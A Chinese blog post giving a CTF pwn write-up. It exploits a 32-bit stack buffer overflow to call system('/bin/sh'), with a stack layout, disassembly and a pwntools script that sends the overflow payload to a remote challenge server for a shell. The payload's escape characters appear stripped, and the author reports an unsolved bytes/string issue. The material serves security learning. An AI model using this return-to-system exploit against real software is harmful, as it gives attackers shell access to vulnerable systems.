zoukankan      html  css  js  c++  java
  • CTF:第四题

    https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

    浪费了非常多的时间,主要是用在了python 里面 bytes 和 string 拼接的问题上了

    后面再说吧。

     

    题目非常简单,一个标准的缓冲区溢出,缓冲区长度0x88,但是接受输入0x100字节,很棒,

    怎么解决呢,怎么解决呢,其实目前能想到的办法就是,调用个system 然后拿shell,

    至于怎么调用,当然是 system("/bin/sh")

    理论上就是这样了

    那么具体怎么做呢。

    方法也很简单,看汇编

    缓冲区溢出之后,我们劫持控制流,回到上面去调用那个system,

    system 函数需要一个参数才能启动一个shell,

    好办,那我们就给他一个参数,

    程序内存里面也有一个

    也就是说,我劫持控制流调用system,然后让内存里面参数是这个就可以了。

    当前程序

     没有保护,好棒,而且是32位的,好棒

    32位程序相比64位程序,最大的优点就是通过栈内存传参,所以我们只要构造好调用栈就可以了

    具体调用栈如何构造,可以这样

    大概就是这样,或者画好看点

    位置 名字 长度
    函数内 char 0x88
    函数内 老ebp 4
    函数内 返回地址 4
    函数外 参数1 4
    函数外 参数2 4
         
         

    大概就是这样,我们需要构造的结构就是类似这样的,

    首先要填充0x88个任意char,

    之后填写4个字节覆盖老的ebp,

    再精心构造一个返回地址,让当前函数返回的时候可以返回到指定的位置继续调用system函数

    之后这个位置,应该是system函数的第一个参数,这里可能不太好理解,为什么啊,写代码来说明

     1 .text:0804844B ; __unwind {
     2 .text:0804844B                 push    ebp
     3 .text:0804844C                 mov     ebp, esp
     4 .text:0804844E                 sub     esp, 88h
     5 .text:08048454                 sub     esp, 0Ch
     6 .text:08048457                 push    offset command  ; "echo Input:"
     7 .text:0804845C                 call    _system
     8 .text:08048461                 add     esp, 10h
     9 .text:08048464                 sub     esp, 4
    10 .text:08048467                 push    100h            ; nbytes
    11 .text:0804846C                 lea     eax, [ebp+buf]
    12 .text:08048472                 push    eax             ; buf
    13 .text:08048473                 push    0               ; fd
    14 .text:08048475                 call    _read
    15 .text:0804847A                 add     esp, 10h
    16 .text:0804847D                 nop
    17 .text:0804847E                 leave
    18 .text:0804847F                 retn
    19 .text:0804847F ; } // starts at 804844B

    目前代码,是这样的,我们构造好数据,并且执行了之后,

    相当于上面汇编代码里面,在第17行和18行之间,插入了如下代码

    1 pop eax
    2 jmp 0804845c

    第一句的意思是,把老的返回地址给冲掉,

    第二句的意思是,跳转到system 那行代码,重新执行,

    而重新执行的是什么,就是在老的返回地址外面的一个值,那个才是参数,

    也就是说,在函数外,参数1的位置,是system 函数要重新执行的参数,我们需要把这个参数1 改成 /bin/sh 的地址。

    好了,知道怎么做了,开始构造数据,并且上报

    代码如下

     1 from pwn import *
     2 
     3 #a = process("./24ac28ef281b4b6caab44d6d52b17491")
     4 a = remote('124.126.19.106', 48829)
     5 r = a.recvuntil(":")
     6 print(r)
     7 
     8 str = "A" * 0x88 + 'a' * 0x4 + "x5cx84x04x08" + "x24xA0x04x08"
     9 print(str)
    10 a.send(str)
    11 
    12 a.interactive()

    一共分四部分,

    第一部分是 0x88 个字符,填充buffer,

    第二部分是 4个字符,填充ebp原始值,

    第三部分就是返回地址了,要填充system 的地址,

    第四部分是字符串参数地址。

    结果就是这样,拿到数据了。

    好了,后续的问题,为什么这个东西扯了那么久,

    因为后面两个数据的拼接,其实很费劲,

    最开始的时候我用的 p32() 拼接,但是提示bytes 不能和 str 拼接,

    我就疯了,疯狂想办法解决这个问题,但是就是解决不了。。。

    哎,希望我以后也不要遇到这个问题了。

    到目前,其实我仍然还是解决不了。

  • 相关阅读:
    php使用cookie来保存用户登录信息
    Linux下进程操作
    TortoiseSVN无法编辑日志信息的解决方法
    用DIV布局制作公告板
    HashMap的遍历
    实现文本滚动
    子DIV块中设置margintop时影响父DIV块位置的解决办法
    php使用session来保存用户登录信息
    javascript jquery ajax动态提交多个参数 api测试 拂晓风起
    javascript 处理返回json中的\u中文乱码问题(也不是乱码了,就是\u编码) 拂晓风起
  • 原文地址:https://www.cnblogs.com/suanguade/p/12968685.html
Copyright © 2011-2022 走看看